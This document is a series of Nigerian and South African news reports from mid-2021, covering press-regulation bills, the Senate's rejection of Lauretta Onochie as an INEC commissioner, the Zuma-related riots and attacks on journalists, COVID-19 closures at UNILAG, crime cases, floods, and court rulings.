It said it believed that doing otherwise would roll Nigeria back to the obnoxious military era of the 1980s which will ultimately force our democracy into darkness.

The international trend, which Nigeria should emulate, is in the direction of peer regulation and constitutionally guaranteed freedom of the press. The trend also includes removing from the statute all laws that criminalise freedom of expression.

Vanguard Newspaper argued that the proposed satanictoxic laws have no redeeming features as the sweeping power it gives the executive would create a monster Minister of Information with the media as his footstool.

Punch Newspaper saw the laws in no different light because they would pave the way for the government to seize control of the media space and subjugate the free flow of information to the whims and direction of the state and its officials.

It described the enablers within the parliament as persons with anti-democratic and dictatorial identity who seek to asphyxiate freedom of the press and erode the fundamental rights of Nigerians to free expression.

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The newspapers urged the proponents of the bills to acquaint themselves with Nigerias turbulent political history and the roles of the press right from the colonial era through to the military era and to the eventual actualisation of democracy.

They charged the National Assembly and the Executive to back down on their proposed clampdown on free speech and censorship of the press, adding that the press cannot be repressed without a democratic government losing its legitimacy.

Meanwhile, it appeared the sponsor of the bills, Segun Odebunmi, has buckled under media pressure demanding the bills to be quashed as he told Channels TVs Sunrise Daily on Tuesday that the House committee tending to the bills has suspended it for more consultation to happen.
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Before she was rejected by the Senate on Wednesday, Lauretta Onochie told its committee on INEC that she was a private person and rarely talked.

This is besides her earlier statement where she said she quit politics in 2019 and that she is no longer partisan, a claim which turned out to be false.

All of these declarations that Ms Onochie made were in response to petitions written against her. The Senate panel had presented the petitions and asked her to respond to them during the screening exercise.

Ms Onochie, the personal assistant to the president on New Media, was being screened for her appointment as a national commissioner for the Independent National Electoral Commission  having been appointed over eight months ago by President Muhammadu Buhari to represent Delta State, where she hails from.

Nigerians had asked the president to withdraw her nomination on grounds that she is partisan and it would be unconstitutional for her to be appointed into such an office.

Although her nomination was rejected by the Senate, Ms Onochie made some brow-raising comments during her screening exercise, most of which are contained in the panels report obtained by PREMIUM TIMES.

The report

The committee, in its report, said several petitions against Ms Onochie were submitted on grounds of violation of federal character principle, partisanship, being a card-carrying member of the APC and using her social media accounts fake news campaign strategies  all of which she was asked to respond to.

In her defense, Ms Onochie debunked the claims against her.

According to the report, while she admitted to being a one-time registered and card-carrying member of the APC and member of the Buhari Support Organisation, she said she is presently neither a registered nor card-carrying member of the party, since she did not register as an APC Member during the last APC re-validation exercise.

In response to her social media activities, she stated that she is a private individual who rarely talks about herself and ceased all Television and Radio appearances since President Buharis second term election.

On her partisanship, she categorically denied being sympathetic to any political party and stopped all activities since the year 2019.

She also gave the assurance that if confirmed, there will be no biased bone in her body and acclaimed herself as Madam Due Process.

Despite the numerous petitions however, the Senate panel only deemed it necessary to reject Ms Onochie on grounds of breach of federal character principle.

READ ALSO:

In the case of Ms Onochiesthe Committee, bound by the provisions of Section 14(3) of the 1999 Constitution on Federal Character Principle the Senate may wish to recall that in 2016, the Senate based on the recommendation of its INEC Committee confirmed Barr. May Agbamuche-Mbu from Delta State as a National Commissioner in INEC, who is still serving.

Confirming the nomination of Ms. Lauretta Onochie from the same Delta State will be a violation of the Federal Character Principle. Therefore, based on the provisions of Section 14(3) of the Constitutionand in order for the Committee and the Senate to achieve fairness to other states and political zones in the county, the Committee is unable to recommend Ms. Lauretta Onochie for confirmation as a National Electoral Commissioner for INEC but would rather recommend to the Senate to request that the President makes another nomination, the report read.

Many have hailed the Senate for rejecting her nomination, describing it as a win for democracy.
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The death toll from six days of protests in South Africa rose to 72 on Tuesday as violence continues across the country in the aftermath of the jailing of former President Jacob Zuma.

Looters attacked shopping malls and other businesses in the nations industrial centre in Johannesburg and other cities.

Most of the deaths, according to a police statement, relate to stampedes that occurred during incidents of looting of shops.

The police said they had identified 12 people suspected of provoking the riots, and that a total of 1,234 people had been arrested.

Video footage surfaced on the internet showing looters and mobs setting alight shopping centres amidst clashes with the police in several cities on Tuesday.

The BBC filmed a baby being thrown from a building in Durban that was on fire after ground-floor shops were looted.

On Monday, 10 people were killed in a stampede during looting at a shopping centre in Soweto.

By Wednesday, more than 600 stores had been looted with products worth billions of rand damaged, according to the Consumer Goods Council of South Africa, which called on President Cyril Ramaphosa to impose a state of emergency.

The violence, according to reports, was triggered by the jailing of Mr Zuma on July 7.

Mr Zuma was convicted of contempt after failing to appear before a special commission investigating corruption during his nine-year presidency.

His lawyer argued Monday before South Africas Constitutional Court that Mr Zuma should have his sentence rescinded.

Judges on the court said they would consider the arguments and announce their decision at a later date.
The Senate of the University of Lagos (UNILAG), Akoka, has mandated the institutions management to ask all students to vacate hostels with immediate effect.

A member of the Senate, who was part of the meeting but does not want to be quoted, claiming not to be authorised to do so, told the PREMIUM TIMES that the decision was unavoidable following the rising cases of coronavirus infection on the campus.

The Senate at its meeting held today considered the situation of third wave of COVID-19 in Lagos State and its implications for the university. The Senate resolved that all students should vacate the halls of residence immediately, the source said.

The source also added that the Senate also approved commencement of virtual lectures from July 26.

The principal assistant registrar in charge of information, Nonye Oguama, did not pick our reporters calls as her telephone line was engaged.

The Senate, which comprises professors, heads of the departments and other lecturers, is the supreme organ of a university on academic matters including approval of results and award of certificates.

ASUU confirms

Meanwhile, the chairman of the universitys chapter of the Academic Staff Union of Universities (ASUU), Dele Ashiru, also confirmed the development to our reporter on the phone.

Mr Ashiru, who is also a member of the Senate, said the decision was imperative in the face of what he described as an imminent third wave of the pandemic in Lagos, and the campus in particular.

The ASUU chair said the new development is a vindication of his unions earlier position on the inadequate protective facilities against the pandemic on Nigerian campuses.

He said compared to what obtains at the airports and other public facilities used by those he described as Nigerias ruling elite, the universities lack such preventive facilities.

He said; so today, the senate of the university met to take this far reaching decision to save the university community from the spread of the pandemic.

That will lead me to say that it is not too late for the government to begin to think of how to invest heavily in our education system so that in situations like this, we wouldnt have to take such drastic step.

Backstory

Premium Times had on Tuesday reported the spread of the coronavirus infection on the campus with some students already reportedly moved to isolation centres in Lagos.

The university, in what appeared to be a confirmation of this newspapers report, announced that there are signs of imminent third wave of coronavirus disease on the campus.

The university in a statement posted on its website, a copy of which Mrs Oguama shared with our reporter on Tuesday evening, said there is an increased number of patients presenting COVID-19-related symptoms at its medical centre.

The statement, however, failed to mention specifically whether any positive cases have been recorded on the campus or not.

The statement had read in part: The University of Lagos community has also been affected by this potential 3rd wave, with an increase in the number of patients presented to the University of Lagos Medical Centre with flu-like symptoms which are similar to COVID-19.

The Medical Centre hereby assures all members of the university community that all necessary actions in line with the Federal and Lagos State Government guidelines have been taken regarding this potential threat in our community.

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Nigeria on Tuesday recorded one death and 154 new cases of coronavirus infection across eight states and the Federal Capital Territory.

In an update on its Facebook page Tuesday night, the Nigeria Centre for Disease Control (NCDC) listed other states that contributed to Tuesdays tally as Akwa Ibom, Rivers, Oyo, Ekiti, Ogun, Gombe, Kwara, and the FCT.

Lagos, again, reported the highest figure of 119 of the new cases, as many residents are in panic mood over the rising cases.

Panic in Lagos

The infection figure recorded in Lagos on Tuesday raised the states share of the total number of cases in the country to 60,638 cases with 450 fatalities recorded since Nigeria recorded its index case in 2020.

The rising cases, especially within the last one week, had informed an appeal from the state governor, Babajide Sanwo-Olu, to the residents to comply strictly to all coronavirus guidelines and protocols.

Mr Sanwo-Olu, in a statement, commended the residents for their cooperation so far and advised against fatigue. He said the war against the pandemic in the state was very strategic, indicating that a flop in Lagos could be catastrophic for the nation at large.

Tertiary institutions in the state and particularly the University of Lagos (UNILAG), Akoka, have reported rising cases of flu-like symptoms among their communities members and heightened awareness against the infection.

Specifics

Meanwhile, NCDCs update on Tuesday indicated that apart from the 119 cases recorded in Lagos, Akwa Ibom took the second position with 11 fresh cases.

Rivers State reported six cases, Oyo reported five, while Ogun and Ekiti states reported four new cases each.

The FCT and Gombe recorded two infections each while Kwara had one.

According to the NCDC, a total of 164,623 recoveries have been recorded so far across Nigeria with 2,119 cases still active across the country.

Nigeria has also tested more than two million samples for the virus out of the countrys roughly 200 million population.
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The Lagos State Commissioner of Police, Hakeem Odumosu, said on Wednesday that more suspects have been arrested in connection with the killing of Usifo Ataga, the chief executive officer of Super TV.

Mr Odumosu, during a parade of suspects at the police command in Ikeja, said the police have established a case of conspiracy and murder and more suspects have been arrested.

The police commissioner did not disclose who the suspects are or how many of them have been arrested. He said investigation is ongoing in the matter.

Crime

PREMIUM TIMES earlier reported how Mr Ataga, 50, was found dead at an apartment in Lekki Lagos on the evening of June 15.

Following investigation, the police arrested Chidinma Ojukwu, a 300-level mass communication student at the University of Lagos, as the prime suspect in the matter.

The suspect, who said she was in a romantic relationship with the murdered CEO, was alleged to have stabbed him multiple times in the apartment they were both lodged, leading to his death.

Ms Ojukwu, 21, while answering questions from journalists explained that an argument ensued between them which degenerated into a fight.

At some point, he was chasing me around the kitchen cabinet. I took a knife and stabbed his neck. I approached the door and he followed me. I stabbed him twice on the neck side. I threw the knife to the bed and he was going for it but I also went for it. He dragged the knife with me and it broke and he fell on the floor, she said then.

The deceaseds family in a statement last month said there was more to Mr Atagas death and urged the police to go beyond the prime suspects confession.

The prime suspect had, however, recanted her confession, saying she knew nothing about the death, according to a video being circulated on social media.

But Mr Odumosu maintained that the police would not compromise on the matter.

He added that investigations are still ongoing following the arrest of more suspects.
Residents of at least seven communities in Jalingo Local Government Area of Taraba State have been counting their losses since floods on Sunday devastated their communities.

Some of the worst hit areas are Mayo Gwoi, Abuja Phase 2, Nukkai, Barade and part of Abuja Phase 1.

Apart from washing away many homes and rendering many homeless, the floods also washed away farm crops and livestock.

Residents who spoke to PREMIUM TIMES blamed the disaster on a poor drainage system in many parts of the state capital, caused by uncontrolled physical development.

Many of the victims who are yet to relocate despite signs of more rains said they need government support to get new homes.

Though no life was lost in the disaster, Dauda Sani, a community leader in Abuja Phase 2, said the flood destroyed many houses in his area.

Another victim who gave her name as Aunty Tobi said she lost valuables such as books, personal documents, animals and foodstuff.

A widow and mother of five who gave her name as Sarah said she sent her children to relatives and friends in different places after her house was submerged on Sunday.

I need to relocate from this area too but I have no money to do so, she told Premium Times on Tuesday

Bala Sani of Barade community said he could not remove anything from his house after the flood struck .

When we saw the rising water coming like a strong wave, we all ran away leaving our property. I thank God that I did not lose any of my family members.

We lost many things

Philip Garba, who spoke on behalf of the head of Abuja Phase 2, Thomas Umar, said over 100 houses were destroyed in the community.

We lost so many things. We need help and assistance from government and good Samaritans for us to be able to return to normal life.

He said people living in homes close to the river banks in the community were willing to relocate but need assistance to do so.

Government intervenes but

Governor Darius Dickson Ishaku was in Abuja on Sunday when the disaster occurred.

He flew into the state later the same evening and visited some of the flood-ravaged areas to assess the damages and sympathise with residents. Mr Ishaku said the state government would immediately provide food and other relief materials.

The governor accused the federal government of abandoning the state to its fate in and failing to assist with relief materials for the flood victims.

He said the state government would provide relief materials to the affected areas to help cushion their pains.

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Mr Ishaku said though he learnt that officials of the federal Ministry of Humanitarian Services and Disaster Management claimed to be in the state the previous week, he was yet to ascertain the claim.

This assistance from the federal government does not get to us. We get assistance from certain proxies but not from the government, he said but provided no details.

ALSO READ: Tears as flood wreaks havoc in Taraba

The governor also urged those residing in riverine areas to vacate the areas.

Mr Ishaku said the state government would send engineers to assess the damage caused to roads and bridges in the areas with a view to carrying out urgent repairs.

Premium Times contacted the humanitarian services ministry and the National Emergency Management Agency (NEMA) on the governors claim but got no response.

A special assistant to the minister, Halima Oyelade, when reached by the reporter on the telephone promised to get back after getting details from the department concerned but refused to pick several calls afterwards.

But the permanent secretary of the state ministry of special duties and humanitarian services, Usman Madu, said NEMA had reached out to the ministry and promised to deliver relief materials.

Mr Madu disclosed this on Tuesday while presenting the first batch of relief intervention to the victims of the disaster at the Jalingo local government secretariat.

He said the food items which include rice, garri, semovita and assorted seasoning were from the state government.

He said NEMA had promised to intervene through the State Emergency Management Agency (SEMA) but he could not comment on the matter until the items are received.

I cannot comment on what we are yet to receive but we were informed that NEMA is bringing some relief materials to the state, which we are waiting to receive.

The details of the affected persons have been taken for necessary action. Those who own houses and other properties, we will see how we can give them succour. Cooperate with government officials on ground to carry out the task, he said.

While commending Governor Darius for the prompt response to the situation, the chairman of Jalingo LGA, Nasiru Boboji, said the council would work with the leaders of the affected communities to ensure that all victims benefited from the relief items.

He said he had earlier visited the affected areas with the member representing Jalingo 1 constituency in the state House of Assembly, Yahuza Abubakar, who was also at the distribution venue.

Speaking during the distribution, Mr Abubakar said, the governor has promised to assist you more after this immediate intervention. We are providing food items to enable you eat before we get other forms of assistance.
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Despite the threat of legal action by the Peoples Democratic Party (PDP), the last member of the party in the House of Representatives from Zamfara State has decamped to the All Progressives Congress (APC).

Kabiru Amadu, who represents Gusau/Tsafe federal constituency, announced his defection in a letter addressed to the House and read by the Speaker, Femi Gbajabiamila, on Wednesday.

The lawmaker cited crisis in the state chapter of his former party as reason for leaving.

Drama unfolded when Toby Okchukwu (PDP, Enugu), the deputy minority leader, raised a point of order on the defection.

In what has become a trend, Mr Gbajabiamila taunted the opposition party by shouting Is it section 68? Or is there another one?

While raising the point of order, Mr Okechukwu said, we have observed with dismay, the continuous disobedience of the Constitution by the Speaker. The failure of the Speaker to comply with section 68 of the 1999 Constitution.

He was interrupted by the Speaker, who argued that being called to speak is a privilege, not a right. The speaker added that it was not his job to interpret the constitution.

The Speaker then asked the opposition party to approach the court.

Defection of Matawalle

Since the defection of Governor Bello Matawella, members of the Zamfara caucus in the National Assembly have been defecting from the PDP to the ruling party despite the threat by the opposition that it will be approaching the court.

In June, the party, through a statement by Its spokesperson, Kola Ologbondiyan, had warned that the governor, members of the National Assembly and State House of Assembly risk losing their seats if they decamp to the ruling party.

Despite this, Mr Matawalle and others have decamped to the ruling party.

Last week, four members from Zamfara State decamped to APC from the PDP.
The proposed bill on traditional council law does not set out to specifically tinker with Obas burial rites as being speculated, Olakunle Oluomo, the Speaker of Ogun Assembly, has said.

Mr Oluomo made the clarification Wednesday while declaring open a public hearing on the bill at the assembly complex in Abeokuta.

Traditionalists and clerics had stormed the assembly complex Wednesday morning to participate in the public hearing of the bill titled Obas, Chiefs, Council of Obas and Traditional Council law of Ogun State, Bill 2021.

According to the traditionalists, the bill, if passed, would eradicate all traditional rites pertaining to kingship in the state.

Not true

But the speaker noted that the legislation was initiated to correct existing anomalies in the traditional institution, especially the conduct of installation without following due process, including the absence of declaration for some traditional stools.

He said the anomalies had been creating difficulty on how to determine those entitled to the throne.

The speaker submitted that such unethical practice had made it very easy for unqualified persons and strangers to lay unmerited claims to the stool, thereby creating distortions in historical records in recent times.

Mr Oluomo recounted such irregularities recorded in the twilight of the immediate past administration in the state, where some unqualified people were haphazardly selected without adherence to due process.

He assured that the assembly, with the support of all participants, would ensure the passage of a bill that would put a stop to the attendance of political rallies by Obas, thereby returning the institution to its pride of place and honour.

We have equally seen where a town or village is in existence and the Baale (community head) is there, but in their developed area, where plots of land were sold to strangers to erect residential structure, such strangers were later allotted a traditional stool illegally.

It has been the new norms of short-changing the original inhabitants of the area in the selection of monarchs to the advantage of strangers which must stop.

These are part of the things we are trying to correct, he said.

Mr Oluomo assured the stakeholders that their views would be harmonised to arrive at an all-encompassing bill.

He underscored the essence of governments authority on the installation of any category of traditional rulers, that the same authority enabled the assembly to enact relevant laws to regulate the revered institution.

Nobody is saying they should not do traditional rites for installation and burial of Obas, but we are not going to support the usage of human beings for rituals, he said.

He also assured all the stakeholders, including traditionalists, who still needed time to submit their contributions to the bill to do so on or before July 23.

In his contribution, the representative of Egba Traditional Council and Towulade of Akinale Kingdom, Olufemi Ogunleye, harped on the essence of peaceful coexistence among traditional rulers and religious leaders.

Kamaldeen Balogun, representing League of Imams and Alfas, commended the assembly for putting up the bill and for inviting all the stakeholders concerned, saying that all inputs should be considered before passage.

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Also, the representatives of the traditional worshipers group, Fagbemi Ifakorede from Ota, and the State Secretary of Ifa worshippers, Faniyi Awoyemi, noted that the traditional belief remained essential in the running of the traditional institution.

They stated that monarchs were to be buried in line with the traditions and customs of their people.

The News Agency of Nigeria (NAN) reports that the representatives of the Christian Association of Nigeria (CAN), Committee for the Defense of Human Rights (CDHR), and traditionalists from different parts of the state were also present at the hearing. (NAN)
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President Muhammadu Buhari on Wednesday swore in five new Permanent Secretaries at the Presidential Villa, Abuja.

The affected permanent secretaries included Ibrahim Yusuf from Katsina State, Olusesan Adebiyi (Ekiti), Maryanne Onwudiwe (Enugu State), Marcus Ogunbiyi (Lagos State) and Ibrahim Abubakar Kana from Nasarawa State.

NAN reports that the permanent secretaries were sworn in shortly before the commencement of the meeting of the Federal Executive Council (FEC).

The meeting, presided over by the president, was attended by the Vice President, Yemi Osinbajo; Secretary to the Government of the Federation, Boss Mustapha and the Chief of staff to the President, Ibrahim Gambari.

Ministers were also physically in attendance at the meeting while the remaining council cabinet members participated online from their respective offices.

(NAN)
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The police in Edo State have arrested a man who allegedly beat his wife to death for denying him sex.

The police spokesperson in the state, Bello Kontongs said on Wednesday in Benin that the incident occurred on June 27 at No. 1, Ogiedegue Street, off Ason Bus Stop, Evbuotubu area of Benin.

He said the case was transferred to the police headquarters in the state from Evbuotubu Police Division where it was first reported.

Mr Kontongs, a superintendent of police, said the deceased, aged 50, got married to the suspect in 2002 and has two children, aged 19 and 15.

The man was said to have demanded sex from the deceased around 11p.m. on June 27 and upon her refusal, he beat her up and in the process inflicted her with injury.

She was rushed to four hospitals, three rejected her, but the fourth one referred her to the University of Benin Teaching Hospital where she passed on, on July 7, as a result of complications from the injury.

The man is in our custody and will be charged to court for murder, Mr Kontongs said.

85 lives lost in road accidents in Edo

In another development, no fewer than 85 persons have lost their lives and 279 injured in various road traffic crashes (RTCs) recorded in Edo between January and June, according to the Federal Road Safety Corps in the state.

The figure was given by Henry Benamaisia, Sector Commander of the FRSC in the state.

Mr Benamaisia told the News Agency of Nigeria (NAN) on Wednesday in Benin that a total of 717 persons were involved in 114 traffic accidents within the period under review.

Giving a breakdown of the lives lost, the sector commander disclosed that 24 persons died in January; 13 in February and 14 in March.

He added that 19 people lost their lives in April, four in May, and 11 in the month of June.

The sector commander also disclosed that of the 114 road traffic crashes recorded, 23 occurred in January, 18 in February, and 17 in March.

In April we recorded 24 RTCs, May was 12, while in June we recorded 20 RTCs.

From the total crashes, 39 were fatal and 61 serious, while we recorded 14 minors involved in the crashes, Mr Benamaisia said.

(NAN)
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The Association of Local Governments of Nigeria (ALGON) has declared its support for the establishment of state police in the country.

This is contained in a statement issued at the end of the groups National Executive Meeting in Enugu on Wednesday.

The statement, signed by the National President of the association, Kolade Alabi, urged the Federal Government to grant the peoples request for state police.

He stated that the initiative would help to enhance security in the country.

To me, security requires a bottom-top approach, not a top-bottom approach.

When we adopt this approach over the rising state of insecurity, the country will be safe for all of us, the ALGON boss stated.

He lauded the council chairmen in Enugu State for their efforts in promoting peace, security and infrastructure development in the rural communities.

He added: from what I have seen so far, they have performed creditably.

It is not all about building infrastructure, it is also about investing in physiological infrastructure, which is what we have seen.

The council bosses are promoting peace, art and culture and it is a good one.

Mr Alabi commended the State Chairman of ALGON, Solomon Onah, saying that he had done well.

Since yesterday we came into this state, the way you conducted the affairs of ALGON is one of the best in the country, he stated.

Mr Alabi explained that they came to Enugu for the NEC meeting, which he described as the third since the group started rotating the meeting.

The reason for doing that is for us to assess the performance and activities of all our people in various states and you agree with me it is a good idea.

We cannot sit in Abuja and know what is going on in all the states and all the local government areas of the country, Mr Alabi added.

In a remark, Mr Onah expressed delight over the verdict by the groups national leadership on the modest achievements by ALGON in the state. (NAN)
South African authorities must swiftly and thoroughly investigate recent attacks on media outlets and journalists covering civil unrest in the country, the Committee to Protect Journalists said today.

Since July 4, protests have broken out in at least two provinces, KwaZulu-Natal and Gauteng, which began over the jailing of former President Jacob Zuma but have spiraled into general looting and rioting, according to news reports.

Demonstrators and looters attacked at least four community radio stations overnight and today and have robbed and assaulted journalists covering the unrest over the past 10 days, according to news reports and journalists who spoke with CPJ.

The rioting and civil unrest in South Africa is the countrys biggest news story, and the media must be free to cover it without fear of assault so the public can remain informed at such a crucial time, said Angela Quintal, CPJs Africa program coordinator, in New York. Even while they are engaged in stopping rioting and looting, law enforcement agencies cannot turn a blind eye to how journalists are being attacked and threatened while doing their jobs, and must ensure that those who do so are held to account.

Late last night and early this morning, unidentified people attacked at least four radio stations throughout the country, ransacking their offices and forcing them off the air, according to news reports, statements by the outlets, journalists who spoke with CPJ, and a statement by the South African National Editors Forum, an industry body of editors and senior journalists.

Those outlets include:

Alex FM, in Alexandra, north of Johannesburg

Mams Radio, In Mamelodi, northeast of Pretoria

West Side FM, in Kagiso, west of Johannesburg

Intokozo FM, in Durban

Alex FM station manager Takalane Nemangowe told the CPJ via messaging app that the attackers vandalized the station and stripped the radio station of everything and only left papers. He said that a presenter and a security guard who were in the building at the time were able to escape unharmed.

Nemangowe added that a supporter in Alexandra had offered his home for the stations use, and he hoped it would return to the air tomorrow.

Unidentified people vandalized Mams Radios transmitter, studios, and offices, and stole equipment from the station, according to a statement by the outlet, reviewed by CPJ, and news reports. The station wrote that it was off air until further notice and said that police were investigating the attack.

West Side FM CEO Goodhope Ledwaba told EyeWitness News that looters had broken the doors and windows of the stations office and stolen broadcasting equipment, including computers.

Intokozo FM posted photos on its Facebook page showing vandalism in its studio; the station, which normally broadcasts live on its Facebook page, has not posted any updates since those photos.

Separately, on July 3, in the town of Nkandla, in KwaZulu-Natal province, a member of the ruling African National Congress Partys Umkhonto we Sizwe Military Veterans Association interrupted Samkele Maseko, a political reporter for the public broadcaster SABC, while he was broadcasting coverage of a rally in support of former President Zuma, according to news reports, video of that broadcast, and another statement by the editors forum.

An unidentified man in camouflage is seen in that video blocking the camera that was filming Masekos broadcast and shoving it to the ground.

Also that day, Edward Zuma, the former presidents eldest son, threatened to burn one of the vehicles belonging to 24-hour news channel eNCA parked outside his fathers home, according to those sources.

The following day, an unidentified Zuma supporter attacked Maseko while he was reporting outside Zumas home, according to those reports and the forums statement.

The attacker accused Maseko of being a sell-out and of trying to destroy party leaders of the African National Congress, and slapped the journalist and tried to choke him, according to those sources. Sbu Ngalwa, the chairperson of the editors forum, broke up the attack and pulled Maseko to safety, the forum statement said.

Maseko declined to speak to CPJ, saying that his employer was pursuing the matter. Phathiswa Magopeni, SABCs group executive of news and current affairs, did not respond to calls and several messages via messaging app for comment.

On July 11, unidentified people robbed an SABC news crew of their equipment while they were covering protests in Alexandra, according to the editors forum and news reports, including a report by SABC.

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Also that day, unidentified people in the Johannesburg suburb of Hillbrow damaged a camera and vehicle belonging to a news team from the privately owned television channel Newzroom Afrika, according to those sources.

Newzroom Afrika news director Katy Katopodis told CPJ via messaging app that looters broke the vehicles windows and attempted to break into the car, branded with the stations logo, and steal its radio and equipment in its trunk. She said the news team was not in the vehicle at the time, and watched as people attempted to break into it; she said that one person fired a bullet through the drivers side door.

The reporting team recovered the vehicle later that day and were able to drive it back to the station, Katopodis said, adding that none of the journalists had been injured in the incident.

Newzroom Afrika had not lodged a complaint with police, Katopodis said, as police have their hands full right now, and we will do that once everything has settled down.

Also on July 11, demonstrators in KwaZulu-Natal threw rocks at an SABC vehicle while journalists were documenting looting in the area, according to SABC reporter Jayde-Leigh Paulse, who was at the scene and spoke to CPJ via messaging app. She said no journalist was injured by the rocks, and that her employer had supplied her team with helmets and bulletproof vests.

We put the fear aside and keep the cameras rolling as journalists, she said.

Separately on July 11, in Jeppestown, Johannesburg, a protester threatened News 24 reporter Jeff Wicks, saying you will die today, Wicks told CPJ via messaging app.

He said that the demonstrators had sticks and stones but did not physically attack him; Wicks added that he believed looters had threatened members of the press because they were filming their wrongdoing.

National police spokesperson Brigadier Vish Naidoo did not reply to multiple requests for comment sent by CPJ via messaging app He told News 24 that every situation would be assessed and dealt with on its own merit.

For advice on covering civil unrest safely, see CPJs Physical safety: Civil Disorder safety notes.
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The news of the Senates rejection of Lauretta Onochies appointment as INECs national commissioner came as no surprise to many Nigerians on Tuesday.

This is because individuals, civic groups and opposition parties had written petitions, staged protests and called on the upper chamber to reject Ms Onochies appointment, describing it as unconstitutional  majorly because she is partisan and has openly campaigned for the ruling All Progressives Congress (APC).

Ms Onochie, currently a presidential aide, was appointed by President Muhammadu Buhari in October 2020, as an INEC commissioner to represent Delta State.

Although she had told the Senate committee on INEC that she quit politics in 2019 and that she is no longer partisan  a claim which turned out to be false, she was, however, rejected by the lawmakers.

But the basis for her rejection was not her partisanship.

The report

A copy of the committees report, obtained by PREMIUM TIMES, shows that Ms Onochies appointment was rejected because it breaches the federal character principle.

In the case of Ms Onochiesthe Committee, bound by the provisions of Section 14(3) of the 1999 Constitution on Federal Character Principle the Senate may wish to recall that in 2016, the Senate, based on the recommendation of its INEC Committee, confirmed Barr. May Agbamuche-Mbu from Delta State as a National Commissioner in INEC, who is still serving.



Confirming the nomination of Ms. Lauretta Onochie from the same Delta State will be a violation of the Federal Character Principle. Therefore, based on the provisions of Section 14(3) of the Constitutionand in order for the Committee and the Senate to achieve fairness to other states and political zones in the county, the Committee is unable to recommend Ms. Lauretta Onochie for confirmation as a National Electoral Commissioner for INEC but would rather recommend to the Senate to request that the President makes another nomination, the report read.

The panel, in its report, said several petitions were written against her on grounds of violation of federal character principle, partisanship, being a card-carrying member of the APC and using her social media accounts fake news campaign strategies.

None of these reasons were good enough for Ms Onochie to be rejected but for the federal character principle.

Sani Mohammed Adam

Mr Adam was the second nominee to be rejected. But in his case, the consideration of his appointment was stepped down to allow for further legislative action by the committee.

According to the report, the decision to step down his case was because a petition was written against him on an issue that occurred in 2001, which requires further investigation by the Committee.

Although details of this issue was not stated in the report, ThisDay newspaper reports that the petition was over his reported dismissal as a lecturer in the University of Jos in 2007.

The petitioners had alleged that Mr Adam was dismissed over improper behaviour.

The committees report however, says Mr Adam debunked the petition against his nomination with an explanation that the situation occurred on August 15, 2001, when he was a lecturer in the University and it has nothing to do with his integrity.

He supported his claim with a written clearance issued by the Nigerian Bar Association before he was made a Senior Advocate of Nigeria (SAN), the report said.

Mr Adams case with the University of Jos is currently pending at the Supreme Court, according to the Nations newspaper  a possible reason for which the Senate committee decided to step down the consideration of his appointment.
The Edo State Judicial Panel of Inquiry set up to investigate police brutality, human rights abuses and extrajudicial killings by the disbanded Special Anti-Robbery Squad (SARS) and other police units, has submitted its report to Governor Godwin Obaseki

The Nation reports that the chairman of the 28-man panel, also known as #EndSARS panel, Ada Ehigiamuose, a retired judge, submitted the report to the governor at the Government House, Benin, on Tuesday.

Edo State is among many states of the federation that set up the panel also known as #EndSARS panel, in line with the recommendation of a National Executive Council (NEC) resolution last year..

The NEC which is led by Vice President Yemi Osinbajo and has state governors and other top government officials as members, recommended the constitution of the panels by the various state governments in response to the October 2020 anti-police brutality demonstrations known as #EndSARS protests.

During the protests last year, many young Nigerians trooped to the streets denouncing the inhuman activities of SARS as well as other police units for their acts of brutality.

The protesters called for the disbandment of SARS, a demand that the government acceded to.

The government, through the NEC, also recommended the setting up of the #EndSARS panel to address the grievances of victims of police brutality.

The National Human Rights Commission (NHRC) also set up a similar panel that sits in Abuja, the Federal Capital Territory.

Submission

While receiving the Edo State panels report on Tuesday, Governor Obaseki said the last years protests are a pointer to the fundamental injustices in our society.

All of us, particularly our political leaders in this country, must begin to understand that if we do not listen to the yearnings of our people more, and continue to carry on as if we are in power for ourselves, the #ENDSARS protests that we experienced last year will be a joke. We pray that the situation does not reoccur, the governor added.

Governor Obaseki said his administration would review the report and seek clarification from the panel if necessary.

We will look at each and every recommendation made and where clarifications are needed, the panel will be contacted.

This is a nationwide activity. In our last National Economic Council (NEC) meeting, it was decided that all states should submit their reports on the investigations carried out during the #EndSARS protests.

We expect that we have both the national response and Edos specific response on the destruction experienced during last years #EndSARS protest, Mr Obaseki said.

170 petitions received, 135 meritorious

The chairperson of the #EndSARS panel in the state, Ms Ehigiamuose, said the panel received 170 petitions and struck out 25 for lack of diligent prosecution.

She said 10 others were dismissed for lacking in merit while 135 petitions were meritorious.

According to her, 10 of the meritorious 135 petitions sought the enforcement of judgments of various high courts against the police for their acts of brutality and extrajudicial killings.

We recommended the payment of compensations to the victims and/or their families for the aforementioned acts of the police, she said.

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N288 million compensation recommended

Meanwhile, The Nation, also quoted an unnamed member of the panel, as saying that N288 million was recommended as compensation for victims of polices excesses in Edo State.

According to the report, out of the N288 million, N98 million was recommended as enforcement of courts judgments and N190 million as general compensation for other petitioners/complainants.
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The Supreme Court on Wednesday restrained the Federal Government and its agencies from ceding 17 oil wells to Imo State.

The oil wells are located in Akri and Mgbede communities where their boundaries are being disputed by the Rivers and Imo State governments.

The order of injunction was granted to stop a purported implementation of the ceding of the oil wells to Imo State pending the determination of a suit brought before the apex court by the Rivers State government.

In a chamber ruling on an ex-parte application argued by Emmanuel Ukala, the lawyer to Rivers State, the Supreme Court restrained the Attorney General of Federation and the Attorney General of Imo State who are the 1st and 2nd defendants from taking any further action on the ownership of the oil wells until the dispute is resolved.

Also barred by the order from approving, implementing or giving effect in any manner in a letter from RMAFC office with refence number RMC/O&G/47/1/264, are the Revenue Mobilisation Allocation and Fiscal Commission (RMAFC) and the office of the Accountant General of the Federation.

The apex court has fixed September 21 for the hearing of the substantive suit.

Background

The Rivers State government through its Attorney General, had dragged the AGF and the Attorney of Imo State before the Supreme Court over the disputed oil wells.

The plaintiff sought a declaration that the boundary between Rivers and Imo states as delineated in Nigerias administrative map 10th, 11th and 12th editions as well as other maps bearing similar delineation are inaccurate, incorrect and do not represent the legitimate and lawful boundaries between the two states.

The plaintiff also sought a declaration that as far as the Nigerian administrative map 10, 11 and 12 editions and other maps bearing similar delineations of the boundaries between Rivers and Imo, are unlawful and void, they cannot be relied on to determine the extent of the territorial governmental jurisdiction of Rivers State.

Rivers State, therefore, urged the Supreme Court declare that the correct instrument, maps and documents to be relied on in determining the boundary between Rivers and Imo State are those used by the plaintiff in delineating the boundary lines between Rivers and Imo.

It also sought a declaration that all the oil wells within Akri and Mbede communities are wrongly attributed to Imo State, and that they are all oil wells within the territory of Rivers State and formed part of Rivers State.

